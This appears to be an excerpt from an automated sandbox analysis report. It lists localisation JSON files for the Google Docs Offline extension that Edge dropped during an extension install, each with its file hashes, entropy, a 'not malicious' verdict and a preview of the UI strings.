Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.631887382471946
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97f9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95MwP9KkJ+je:YwBrD2J2DBLMfFuWvdpY94vioO+uh
MD5:	1F565FB1C549B18AF8BBFED8DECD5D94
SHA1:	B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
SHA-256:	E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
SHA-512:	A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

